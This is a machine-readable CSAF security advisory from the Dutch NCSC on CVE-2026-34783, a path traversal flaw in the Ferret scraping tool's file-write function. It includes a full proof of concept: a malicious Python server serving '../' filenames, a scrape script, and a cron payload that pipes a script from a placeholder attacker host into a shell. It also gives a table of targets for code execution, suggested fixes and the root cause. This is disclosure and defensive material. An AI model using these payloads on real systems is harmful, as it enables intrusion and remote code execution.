{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34783",
        "tracking": {
            "current_release_date": "2026-04-02T00:06:05.854613Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34783",
            "initial_release_date": "2026-04-01T23:55:50.374601Z",
            "revision_history": [
                {
                    "date": "2026-04-01T23:55:50.374601Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T23:55:52.400910Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                }
            ],
            "status": "interim",
            "version": "2"
        }
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34783",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\n\nA path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.\n\n## Exploitation\n\nThe attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.\n\n### Attack Flow\n\n1. The attacker serves a JSON API with crafted filenames containing `../` traversal:\n\n```json\n[\n  {\"name\": \"legit-article\", \"content\": \"Normal content.\"},\n  {\"name\": \"../../etc/cron.d/evil\", \"content\": \"* * * * * root curl http://attacker.com/shell.sh | sh\\n\"}\n]\n```\n\n2. The victim runs a standard scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://evil.com/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    IO::FS::WRITE(path, TO_BINARY(article.content))\n    RETURN { written: path, name: article.name }\n```\n\n3. FQL string concatenation produces: `/tmp/ferret_output/../../etc/cron.d/evil.txt`\n\n4. `os.OpenFile` resolves `../..` and writes to `/etc/cron.d/evil.txt` -- outside the intended output directory\n\n5. The attacker achieves arbitrary file write with controlled content, leading to code execution.\n\n### Realistic Targets\n\n| Target Path | Impact |\n|-------------|--------|\n| `/etc/cron.d/<name>` | Command execution via cron |\n| `~/.ssh/authorized_keys` | SSH access to the machine |\n| `~/.bashrc` or `~/.profile` | Command execution on next login |\n| `/var/www/html/<name>.php` | Web shell |\n| Application config files | Credential theft, privilege escalation |\n\n## Proof of Concept\n\n### Files\n\nThree files are provided in the `poc/` directory:\n\n**`evil_server.py`** -- Malicious web server returning traversal payloads:\n\n```python\n\"\"\"Malicious server that returns filenames with path traversal.\"\"\"\nimport json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass EvilHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == \"/api/articles\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/json\")\n            self.end_headers()\n            payload = [\n                {\"name\": \"legit-article\",\n                 \"content\": \"This is a normal article.\"},\n                {\"name\": \"../../tmp/pwned\",\n                 \"content\": \"ATTACKER_CONTROLLED_CONTENT\\n\"\n                            \"# * * * * * root curl http://attacker.com/shell.sh | sh\\n\"},\n            ]\n            self.wfile.write(json.dumps(payload).encode())\n        else:\n            self.send_response(404)\n            self.end_headers()\n\nif __name__ == \"__main__\":\n    server = HTTPServer((\"0.0.0.0\", 9444), EvilHandler)\n    print(\"Listening on :9444\")\n    server.serve_forever()\n```\n\n**`scrape.fql`** -- Innocent-looking Ferret scraping script:\n\n```fql\nLET response = IO::NET::HTTP::GET({url: \"http://127.0.0.1:9444/api/articles\"})\nLET articles = JSON_PARSE(TO_STRING(response))\n\nFOR article IN articles\n    LET path = \"/tmp/ferret_output/\" + article.name + \".txt\"\n    LET data = TO_BINARY(article.content)\n    IO::FS::WRITE(path, data)\n    RETURN { written: path, name: article.name }\n```\n\n**`run_poc.sh`** -- Orchestration script (expects the server to be running separately):\n\n```bash\n#!/bin/bash\nset -e\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nREPO_ROOT=\"$(cd \"$SCRIPT_DIR/..\" && pwd)\"\nFERRET=\"$REPO_ROOT/bin/ferret\"\n\necho \"=== Ferret Path Traversal PoC ===\"\n[ ! -f \"$FERRET\" ] && (cd \"$REPO_ROOT\" && go build -o ./bin/ferret ./test/e2e/cli.go)\n\nrm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output\n\necho \"[*] Running scrape script...\"\n\"$FERRET\" \"$SCRIPT_DIR/scrape.fql\" 2>/dev/null || true\n\nif [ -f \"/tmp/pwned.txt\" ]; then\n    echo \"[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory\"\n    cat /tmp/pwned.txt\nfi\n```\n\n### Reproduction Steps\n\n```bash\n# Terminal 1: start malicious server\npython3 poc/evil_server.py\n\n# Terminal 2: build and run\ngo build -o ./bin/ferret ./test/e2e/cli.go\nbash poc/run_poc.sh\n\n# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/\ncat /tmp/pwned.txt\n```\n\n### Observed Output\n\n```\n=== Ferret Path Traversal PoC ===\n\n[*] Running innocent-looking scrape script...\n\n[{\"written\":\"/tmp/ferret_output/legit-article.txt\",\"name\":\"legit-article\"},\n {\"written\":\"/tmp/ferret_output/../../tmp/pwned.txt\",\"name\":\"../../tmp/pwned\"}]\n\n=== Results ===\n\n[*] Files in intended output directory (/tmp/ferret_output/):\n-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt\n\n[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!\n\n    Contents:\n    ATTACKER_CONTROLLED_CONTENT\n    # * * * * * root curl http://attacker.com/shell.sh | sh\n```\n\n## Suggested Fix\n\n### Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`\n\nResolve the path and verify it doesn't contain `..` after cleaning:\n\n```go\nfunc safePath(userPath string) (string, error) {\n    cleaned := filepath.Clean(userPath)\n    if strings.Contains(cleaned, \"..\") {\n        return \"\", fmt.Errorf(\"path traversal detected: %q\", userPath)\n    }\n    return cleaned, nil\n}\n```\n\n### Option 2: Base directory enforcement (stronger)\n\nAdd an optional base directory that FS operations are jailed to:\n\n```go\nfunc safePathWithBase(base, userPath string) (string, error) {\n    absBase, _ := filepath.Abs(base)\n    full := filepath.Join(absBase, filepath.Clean(userPath))\n    resolved, err := filepath.EvalSymlinks(full)\n    if err != nil {\n        return \"\", err\n    }\n    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n        return \"\", fmt.Errorf(\"path %q escapes base directory %q\", userPath, base)\n    }\n    return resolved, nil\n}\n```\n## Root Cause\n\n`IO::FS::WRITE` in `pkg/stdlib/io/fs/write.go` passes user-supplied file paths directly to `os.OpenFile` with no sanitization:\n\n```go\nfile, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)\n```\n\nThere is no:\n- Path canonicalization (`filepath.Clean`, `filepath.Abs`, `filepath.EvalSymlinks`)\n- Base directory enforcement (checking the resolved path stays within an intended directory)\n- Traversal sequence rejection (blocking `..` components)\n- Symlink resolution\n\nThe same issue exists in `IO::FS::READ` (`pkg/stdlib/io/fs/read.go`):\n\n```go\ndata, err := os.ReadFile(path.String())\n```\n\nThe `PATH::CLEAN` and `PATH::JOIN` standard library functions do **not** mitigate this because they use Go's `path` package (URL-style paths), not `path/filepath`, and even `path.Join(\"/output\", \"../../etc/cron.d/evil\")` resolves to `/etc/cron.d/evil` -- it normalizes the traversal rather than blocking it.",
                    "title": "github - https://api.github.com/advisories/GHSA-j6v5-g24h-vg4j"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                }
            ],
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-j6v5-g24h-vg4j"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/MontFerret/ferret/security/advisories/GHSA-j6v5-g24h-vg4j"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-j6v5-g24h-vg4j"
                }
            ],
            "title": "CVE-2026-34783"
        }
    ]
}